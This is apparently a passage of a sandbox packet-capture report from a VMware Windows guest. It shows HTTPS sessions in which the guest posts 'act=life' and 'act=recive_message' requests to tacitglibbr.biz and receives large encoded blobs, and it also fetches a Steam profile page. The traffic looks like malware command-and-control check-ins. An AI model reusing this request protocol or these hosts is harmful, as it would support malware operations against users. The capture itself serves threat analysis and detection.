2024-12-16 14:02:40 UTC	214	IN	Data Raw: 64 30 0d 0a 53 46 68 36 4d 67 51 33 34 49 32 62 5a 73 51 6d 69 48 66 64 73 7a 33 4d 39 43 6c 62 78 35 4f 67 77 67 53 5a 68 69 4c 4d 35 56 63 54 49 31 68 48 4a 67 33 43 35 65 38 53 74 42 7a 55 57 49 47 63 44 50 54 42 42 32 6e 32 70 6f 37 7a 4e 61 71 6f 45 2f 71 35 65 43 63 2b 48 47 34 72 55 34 58 72 74 51 4f 38 51 36 70 62 2f 39 56 4a 37 73 34 5a 64 2b 58 32 67 76 67 30 35 4b 70 5a 37 70 42 31 63 6e 6f 53 52 6e 42 48 32 74 47 30 4f 75 73 58 73 45 4c 7a 67 51 7a 35 32 68 68 71 39 4c 32 52 39 46 69 32 39 56 61 70 68 44 6f 55 64 77 68 54 61 6c 4f 50 34 4c 55 44 76 45 4f 71 57 2f 2f 56 53 65 37 4f 47 58 66 6c 39 6f 4c 34 4e 4f 54 62 0d 0a Data Ascii: d0SFh6MgQ34I2bZsQmiHfdsz3M9Clbx5OgwgSZhiLM5VcTI1hHJg3C5e8StBzUWIGcDPTBB2n2po7zNaqoE/q5eCc+HG4rU4XrtQO8Q6pb/9VJ7s4Zd+X2gvg05KpZ7pB1cnoSRnBH2tG0OusXsELzgQz52hhq9L2R9Fi29VaphDoUdwhTalOP4LUDvEOqW//VSe7OGXfl9oL4NOTb
2024-12-16 14:02:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49984	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:44 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 63 66 36 51 33 5a 58 78 4c 45 47 64 68 57 43 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 34 61 34 63 64 62 62 38 31 39 35 36 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: cf6Q3ZXxLEGdhWCb.1Context: e34a4cdbb819564
2024-12-16 14:02:44 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-16 14:02:44 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 63 66 36 51 33 5a 58 78 4c 45 47 64 68 57 43 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 34 61 34 63 64 62 62 38 31 39 35 36 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 58 34 48 43 52 6c 4b 78 59 59 75 57 4b 61 73 6f 55 47 6e 55 51 61 39 38 56 7a 51 6b 74 62 79 31 4c 54 64 6d 79 6e 7a 49 4a 6d 77 49 2f 65 35 5a 68 39 6a 45 64 4d 4e 5a 76 45 49 53 32 46 4f 62 43 6c 4d 67 76 6f 57 74 67 4d 64 50 64 68 56 62 59 36 68 57 79 4d 4c 58 72 38 42 35 39 4b 57 55 4d 36 49 69 4d 71 6d 5a 6a 51 30 62 4e Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: cf6Q3ZXxLEGdhWCb.2Context: e34a4cdbb819564<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdX4HCRlKxYYuWKasoUGnUQa98VzQktby1LTdmynzIJmwI/e5Zh9jEdMNZvEIS2FObClMgvoWtgMdPdhVbY6hWyMLXr8B59KWUM6IiMqmZjQ0bN
2024-12-16 14:02:44 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 63 66 36 51 33 5a 58 78 4c 45 47 64 68 57 43 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 33 34 61 34 63 64 62 62 38 31 39 35 36 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: cf6Q3ZXxLEGdhWCb.3Context: e34a4cdbb819564<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-16 14:02:45 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-16 14:02:45 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 34 4f 69 62 4a 7a 79 64 55 61 39 39 2f 74 6c 67 59 43 48 74 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: L4OibJzydUa99/tlgYCHtA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	50057	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:06 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 14:03:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:03:07 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d3ehp72uc65gkghutqnbbf9p22; expires=Fri, 11-Apr-2025 07:49:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xnTdv8Y9XS%2BgDlqzeQjkxFyzg4Vh70vSd4%2FNevle9TkP7mjd%2FEa3IVSw8CXgfpTFi1cojnb%2B%2BL%2FV6Uqoicamgql7fhSA2ISQj2RfkEWDOBKhba15BzvH2Edwlm2uDu%2FDkpE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f37082a264307-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2110&min_rtt=2091&rtt_var=822&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=906&delivery_rate=1301827&cwnd=237&unsent_bytes=0&cid=fe97dddd51f05b7a&ts=758&x=0"
2024-12-16 14:03:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:03:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	50062	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:08 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 14:03:08 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 14:03:09 UTC	1006	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u90q894nt83mn0rhke69g430id; expires=Fri, 11-Apr-2025 07:49:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kb6ksaMIqedpwNm4Ax3E2L4ekkJ8R7NVUw5pPlpBwtc6XLvgce2ESq6Axg9jEqZrswWFTAdVQxeR8NN0wgNmYBGSPZv9ELeHg5ti5gni8GogyFcyi3rdGbYU3Au0y3YzOE4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3714ea4e7cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1922&min_rtt=1915&rtt_var=732&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=1480730&cwnd=212&unsent_bytes=0&cid=f6d4d3faab274816&ts=1171&x=0"
2024-12-16 14:03:09 UTC	363	IN	Data Raw: 34 39 31 63 0d 0a 5a 76 70 6f 4a 7a 77 65 51 6a 4b 58 57 58 68 33 49 33 4d 4a 58 68 53 6f 30 2f 39 74 62 57 47 47 6e 67 43 70 6e 73 68 47 39 47 34 64 32 42 34 46 42 69 70 75 45 4f 51 38 57 6b 31 58 41 58 77 37 4f 49 71 79 6d 30 39 58 42 2b 66 79 63 38 79 79 36 6a 43 5a 54 46 79 63 43 55 74 50 65 32 34 51 38 69 46 61 54 58 67 49 4b 7a 74 36 69 75 6e 64 43 41 63 44 35 2f 4a 69 79 50 57 6e 4e 70 67 4e 44 70 59 50 54 31 6c 39 4a 6c 50 37 4e 42 30 53 52 68 4a 6a 4d 48 33 46 75 35 4a 50 51 55 50 6a 35 43 4b 54 76 49 55 6a 67 41 38 72 6d 78 74 4d 48 6d 4e 75 53 62 55 38 46 6c 55 5a 55 57 67 37 64 73 53 31 6d 77 59 46 43 65 37 36 59 38 33 30 75 43 2b 53 42 67 36 59 44 45 35 54 64 44 4a 65 38 54 4d 57 46 45 77 53 4b 33 49 32 7a 61 6e 64 56 30 39 51 31 76 39 7a 32 Data Ascii: 491cZvpoJzweQjKXWXh3I3MJXhSo0/9tbWGGngCpnshG9G4d2B4FBipuEOQ8Wk1XAXw7OIqym09XB+fyc8yy6jCZTFycCUtPe24Q8iFaTXgIKzt6iundCAcD5/JiyPWnNpgNDpYPT1l9JlP7NB0SRhJjMH3Fu5JPQUPj5CKTvIUjgA8rmxtMHmNuSbU8FlUZUWg7dsS1mwYFCe76Y830uC+SBg6YDE5TdDJe8TMWFEwSK3I2zandV09Q1v9z2
2024-12-16 14:03:09 UTC	1369	IN	Data Raw: 46 4d 61 59 6a 46 37 79 72 79 58 41 41 77 44 34 2f 5a 6f 78 50 61 75 4b 5a 73 4b 42 4a 68 4b 43 78 35 37 4f 42 43 74 65 7a 6b 51 55 52 5a 6e 4b 6a 54 77 38 59 4a 42 46 6b 50 6a 38 43 4b 54 76 4b 49 68 6c 51 38 50 6c 77 6c 4e 56 57 34 67 51 76 4d 32 48 77 64 48 46 47 55 32 64 64 69 37 6b 77 6b 4d 43 75 2f 31 5a 38 7a 34 36 6d 72 57 43 78 7a 59 55 67 56 2f 63 53 74 63 2f 79 77 61 56 56 35 66 63 6e 78 78 78 76 48 46 54 77 73 43 34 50 31 6d 78 66 4b 75 4b 4a 41 43 43 5a 63 4d 54 31 35 37 4b 6c 6a 39 4f 68 63 65 54 68 46 75 4d 58 4c 4d 76 5a 77 4b 54 30 32 6b 2b 33 71 4c 70 4f 6f 4b 6b 51 38 57 32 6a 39 47 55 48 49 6e 52 72 55 6b 56 41 77 42 46 6d 64 38 4c 6f 71 2f 6d 41 41 64 41 76 62 35 62 4e 6e 77 72 79 4b 62 44 77 71 59 44 30 4a 54 63 69 5a 58 39 6a 4d 65 Data Ascii: FMaYjF7yryXAAwD4/ZoxPauKZsKBJhKCx57OBCtezkQURZnKjTw8YJBFkPj8CKTvKIhlQ8PlwlNVW4gQvM2HwdHFGU2ddi7kwkMCu/1Z8z46mrWCxzYUgV/cStc/ywaVV5fcnxxxvHFTwsC4P1mxfKuKJACCZcMT157Klj9OhceThFuMXLMvZwKT02k+3qLpOoKkQ8W2j9GUHInRrUkVAwBFmd8Loq/mAAdAvb5bNnwryKbDwqYD0JTciZX9jMe
2024-12-16 14:03:09 UTC	1369	IN	Data Raw: 64 38 4c 6f 71 38 6c 51 6f 4b 44 4f 58 32 62 4d 37 32 70 69 79 59 44 78 61 58 44 6b 56 53 64 43 70 64 2b 7a 38 53 48 45 6f 61 62 54 78 33 77 50 48 54 54 77 67 62 70 4b 51 69 2f 2f 75 6d 4b 5a 6c 4f 4d 5a 73 45 53 31 6c 71 59 45 2b 37 49 6c 6f 53 54 56 45 7a 66 48 72 44 73 5a 59 46 43 77 50 6a 38 57 66 49 2b 36 6b 70 6b 51 59 4b 6e 77 35 4a 56 33 45 6d 55 50 49 2f 48 77 64 45 47 47 63 77 4e 6f 54 78 6d 68 64 50 57 36 54 54 5a 64 33 2f 68 53 65 48 42 55 53 48 52 46 77 65 65 79 77 51 72 58 73 64 45 45 6b 61 62 54 52 32 32 4c 53 54 42 41 34 4a 34 76 31 76 78 2f 71 71 4a 5a 59 4b 43 4a 67 4e 51 6b 78 75 4a 56 62 6e 4d 56 70 62 41 52 5a 7a 66 43 36 4b 68 34 30 59 48 68 57 6d 79 57 48 46 38 71 30 79 31 68 4e 4b 67 55 70 43 55 6a 78 34 45 50 34 37 46 68 4a 4a 46 Data Ascii: d8Loq8lQoKDOX2bM72piyYDxaXDkVSdCpd+z8SHEoabTx3wPHTTwgbpKQi//umKZlOMZsES1lqYE+7IloSTVEzfHrDsZYFCwPj8WfI+6kpkQYKnw5JV3EmUPI/HwdEGGcwNoTxmhdPW6TTZd3/hSeHBUSHRFweeywQrXsdEEkabTR22LSTBA4J4v1vx/qqJZYKCJgNQkxuJVbnMVpbARZzfC6Kh40YHhWmyWHF8q0y1hNKgUpCUjx4EP47FhJJF
2024-12-16 14:03:09 UTC	1369	IN	Data Raw: 4f 76 5a 6b 48 42 41 6d 6b 73 69 4c 4d 35 4f 70 38 31 6a 6b 4a 6c 77 70 47 53 44 77 2f 48 75 78 37 48 52 6b 42 53 53 73 77 65 4d 71 2b 6b 51 4d 45 43 2b 58 77 62 4d 7a 35 6f 79 79 65 48 67 57 63 41 6b 52 51 63 79 46 55 38 44 34 65 45 6b 55 58 5a 48 77 34 69 72 61 46 54 31 64 44 79 39 74 58 69 64 32 51 5a 49 6c 43 48 64 67 4e 53 52 34 6b 59 46 7a 32 4e 78 49 61 52 78 68 6e 4e 6e 2f 42 76 5a 59 4c 41 77 72 68 2b 6d 50 4f 2b 61 73 67 6d 67 59 43 6d 77 6c 4b 55 58 4d 6f 45 4c 74 37 48 51 30 42 53 53 73 5a 59 63 47 2f 6d 30 38 51 54 66 32 38 5a 63 65 38 38 6d 53 61 42 51 4b 65 44 30 6c 66 65 69 68 56 2f 54 38 62 45 30 63 53 5a 44 68 7a 79 37 36 5a 41 77 45 4a 35 66 31 75 77 50 4f 68 49 64 5a 43 52 4a 38 53 42 51 59 38 45 56 50 6a 4c 41 6f 5a 41 51 34 6c 4a 54 Data Ascii: OvZkHBAmksiLM5Op81jkJlwpGSDw/Hux7HRkBSSsweMq+kQMEC+XwbMz5oyyeHgWcAkRQcyFU8D4eEkUXZHw4iraFT1dDy9tXid2QZIlCHdgNSR4kYFz2NxIaRxhnNn/BvZYLAwrh+mPO+asgmgYCmwlKUXMoELt7HQ0BSSsZYcG/m08QTf28Zce88mSaBQKeD0lfeihV/T8bE0cSZDhzy76ZAwEJ5f1uwPOhIdZCRJ8SBQY8EVPjLAoZAQ4lJT
2024-12-16 14:03:09 UTC	1369	IN	Data Raw: 56 30 38 74 37 2b 39 31 79 50 4b 68 4d 6f 31 4d 47 39 59 54 42 56 6c 77 59 41 69 31 4f 42 45 65 52 52 46 6e 50 48 4c 48 73 59 38 41 43 41 54 74 39 33 44 42 2b 36 30 76 6e 67 63 4c 6e 68 68 4a 55 47 34 6c 51 75 64 37 56 46 56 47 43 53 74 6b 4e 76 79 32 6a 52 38 4d 51 64 58 71 59 64 33 33 70 79 6a 57 45 30 71 42 53 6b 4a 53 50 48 67 51 38 7a 51 54 46 6b 34 51 59 6a 42 37 7a 37 69 59 44 67 6b 48 37 76 5a 69 7a 66 71 72 49 5a 77 50 42 5a 49 44 51 6c 5a 37 49 30 4b 31 64 56 6f 53 57 56 45 7a 66 46 2f 4e 6f 35 4d 66 54 78 79 71 35 53 4c 4d 38 4f 70 38 31 67 67 4f 6c 77 35 43 55 6e 6f 6c 56 76 67 36 46 52 52 42 48 6d 38 33 66 38 79 77 6b 41 6f 43 42 2f 62 32 61 63 54 77 6f 79 69 62 54 45 72 59 44 56 30 65 4a 47 42 68 2b 44 55 55 45 6c 64 52 64 48 4a 76 69 72 61 Data Ascii: V08t7+91yPKhMo1MG9YTBVlwYAi1OBEeRRFnPHLHsY8ACATt93DB+60vngcLnhhJUG4lQud7VFVGCStkNvy2jR8MQdXqYd33pyjWE0qBSkJSPHgQ8zQTFk4QYjB7z7iYDgkH7vZizfqrIZwPBZIDQlZ7I0K1dVoSWVEzfF/No5MfTxyq5SLM8Op81ggOlw5CUnolVvg6FRRBHm83f8ywkAoCB/b2acTwoyibTErYDV0eJGBh+DUUEldRdHJvira
2024-12-16 14:03:09 UTC	1369	IN	Data Raw: 65 2f 77 63 4d 4c 38 71 53 2f 57 51 6b 53 66 45 67 55 47 50 41 4e 48 34 7a 45 64 47 56 63 61 61 6a 39 67 78 36 48 64 51 55 38 53 34 2b 30 69 6b 2b 71 36 4d 35 45 54 53 6f 46 4b 51 6c 49 38 65 42 44 7a 4d 68 77 53 52 78 39 35 4f 58 44 46 76 70 51 47 43 77 76 6e 2f 47 62 50 2b 36 38 6e 6d 67 63 44 6d 77 56 42 56 33 49 70 58 37 56 31 57 68 4a 5a 55 54 4e 38 56 39 47 79 6b 51 4a 50 48 4b 72 6c 49 73 7a 77 36 6e 7a 57 41 41 71 64 43 6b 39 59 65 43 56 57 2f 7a 34 61 48 6b 49 65 62 7a 70 79 78 62 47 57 42 67 34 46 34 66 5a 70 7a 66 47 70 49 70 42 4d 53 74 67 4e 58 52 34 6b 59 48 44 75 4e 68 59 53 41 51 34 6c 4a 54 62 4e 76 64 31 58 54 77 6a 6f 2b 47 58 4c 38 61 6b 73 6b 77 67 4f 6e 51 70 4e 54 48 51 67 56 2b 63 70 47 68 78 45 48 57 67 38 63 73 79 34 6d 77 77 4c Data Ascii: e/wcML8qS/WQkSfEgUGPANH4zEdGVcaaj9gx6HdQU8S4+0ik+q6M5ETSoFKQlI8eBDzMhwSRx95OXDFvpQGCwvn/GbP+68nmgcDmwVBV3IpX7V1WhJZUTN8V9GykQJPHKrlIszw6nzWAAqdCk9YeCVW/z4aHkIebzpyxbGWBg4F4fZpzfGpIpBMStgNXR4kYHDuNhYSAQ4lJTbNvd1XTwjo+GXL8akskwgOnQpNTHQgV+cpGhxEHWg8csy4mwwL
2024-12-16 14:03:09 UTC	1369	IN	Data Raw: 4b 54 35 5a 52 6b 6e 52 6f 44 69 41 6c 54 56 58 45 73 51 63 74 37 51 6b 45 54 51 7a 6c 75 4a 4e 58 78 67 6a 42 42 51 2b 57 38 4f 76 4c 6c 36 6a 4c 57 56 46 62 57 53 6c 63 65 4a 47 41 58 39 69 6b 49 45 30 49 48 61 48 74 49 39 4a 61 4c 42 51 67 54 34 2b 74 74 69 37 4c 71 4b 39 5a 55 50 64 67 44 51 6b 56 74 4e 6c 33 6c 50 46 6f 71 44 31 46 7a 66 43 36 4b 68 4a 34 42 41 51 54 79 37 53 2f 73 36 71 41 6a 68 67 73 54 6c 30 6f 4c 48 6e 70 67 43 4b 5a 31 57 68 46 51 55 54 4e 73 4a 4a 48 6b 7a 6c 68 66 55 66 75 79 65 34 76 71 36 6e 7a 45 51 6b 53 4b 53 68 30 65 4f 79 4e 43 35 7a 30 5a 41 30 4a 57 56 51 4a 52 30 4c 79 62 47 42 34 39 32 76 74 34 78 76 71 39 4e 64 6f 5a 42 35 59 45 51 6b 67 38 62 68 44 36 65 30 49 73 41 56 6b 72 41 7a 69 4b 71 64 31 58 54 7a 62 6e 38 Data Ascii: KT5ZRknRoDiAlTVXEsQct7QkETQzluJNXxgjBBQ+W8OvLl6jLWVFbWSlceJGAX9ikIE0IHaHtI9JaLBQgT4+tti7LqK9ZUPdgDQkVtNl3lPFoqD1FzfC6KhJ4BAQTy7S/s6qAjhgsTl0oLHnpgCKZ1WhFQUTNsJJHkzlhfUfuye4vq6nzEQkSKSh0eOyNC5z0ZA0JWVQJR0LybGB492vt4xvq9NdoZB5YEQkg8bhD6e0IsAVkrAziKqd1XTzbn8
2024-12-16 14:03:09 UTC	1369	IN	Data Raw: 7a 5a 49 42 4d 58 4d 70 45 42 55 77 38 65 42 43 79 4f 41 67 48 52 78 4a 39 50 7a 48 30 6a 37 6f 42 43 41 4c 79 37 48 58 45 77 70 51 78 6c 51 49 4b 6e 78 78 55 48 6a 4a 67 58 37 56 6a 49 31 55 4a 55 56 52 79 4e 74 4c 78 78 55 38 36 41 4f 72 79 5a 64 33 74 35 77 4f 59 43 77 57 4f 47 6c 4a 52 50 47 34 51 38 33 74 43 52 77 39 52 62 79 30 32 6b 75 48 50 56 46 70 51 73 36 77 77 31 4c 4b 7a 5a 49 42 4d 58 4d 70 45 42 55 77 38 65 42 43 79 4f 41 67 48 52 78 4a 39 50 7a 48 30 6a 37 6f 42 43 41 4c 79 37 48 58 45 73 34 51 53 74 7a 49 36 6a 51 6c 4c 55 48 73 32 51 62 56 31 57 68 6f 42 53 56 4a 38 50 6f 71 4f 30 30 38 58 51 37 79 38 56 38 6a 79 70 43 4f 41 48 55 6d 2f 42 45 4a 66 61 6a 42 48 2b 6e 51 30 49 32 42 52 4a 58 78 77 69 75 6e 50 51 55 38 48 39 62 77 36 6d 36 Data Ascii: zZIBMXMpEBUw8eBCyOAgHRxJ9PzH0j7oBCALy7HXEwpQxlQIKnxxUHjJgX7VjI1UJUVRyNtLxxU86AOryZd3t5wOYCwWOGlJRPG4Q83tCRw9Rby02kuHPVFpQs6ww1LKzZIBMXMpEBUw8eBCyOAgHRxJ9PzH0j7oBCALy7HXEs4QStzI6jQlLUHs2QbV1WhoBSVJ8PoqO008XQ7y8V8jypCOAHUm/BEJfajBH+nQ0I2BRJXxwiunPQU8H9bw6m6
2024-12-16 14:03:09 UTC	1369	IN	Data Raw: 44 77 53 57 44 51 55 51 50 44 67 51 72 58 73 33 42 30 59 42 61 48 77 34 69 72 33 64 56 30 38 4f 39 76 74 79 79 4c 43 74 50 70 46 4d 47 39 59 54 42 55 67 38 65 41 4f 37 65 77 68 56 47 56 45 73 4d 6e 76 4c 73 70 4d 4d 48 52 48 69 2f 33 54 49 75 35 51 61 75 78 34 44 69 41 6b 48 62 33 45 6b 52 75 41 34 43 68 4a 2f 4c 30 59 75 63 64 71 79 33 79 4d 49 44 75 6a 43 58 50 7a 74 72 54 54 55 4b 67 65 4f 43 51 55 51 50 44 67 51 72 58 73 33 42 30 59 42 61 48 35 61 7a 62 79 52 54 78 42 4e 2f 62 78 30 69 36 54 35 61 74 59 65 52 4d 42 4b 41 6c 31 75 4d 6c 62 32 4c 52 6c 53 66 79 39 47 4c 6e 48 61 73 74 38 2b 41 67 66 79 36 57 48 62 2b 35 51 61 75 78 34 44 69 41 6b 48 65 30 5a 69 59 65 4d 34 47 68 74 47 55 53 56 38 62 6f 72 70 33 53 49 64 42 50 54 2f 49 4f 37 47 36 42 57 Data Ascii: DwSWDQUQPDgQrXs3B0YBaHw4ir3dV08O9vtyyLCtPpFMG9YTBUg8eAO7ewhVGVEsMnvLspMMHRHi/3TIu5Qaux4DiAkHb3EkRuA4ChJ/L0Yucdqy3yMIDujCXPztrTTUKgeOCQUQPDgQrXs3B0YBaH5azbyRTxBN/bx0i6T5atYeRMBKAl1uMlb2LRlSfy9GLnHast8+Agfy6WHb+5Qaux4DiAkHe0ZiYeM4GhtGUSV8borp3SIdBPT/IO7G6BW

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50063	104.121.10.34	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:08 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-16 14:03:09 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 16 Dec 2024 14:03:09 GMT Content-Length: 35131 Connection: close Set-Cookie: sessionid=1b6201ac1235eb25896c7b00; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-16 14:03:09 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 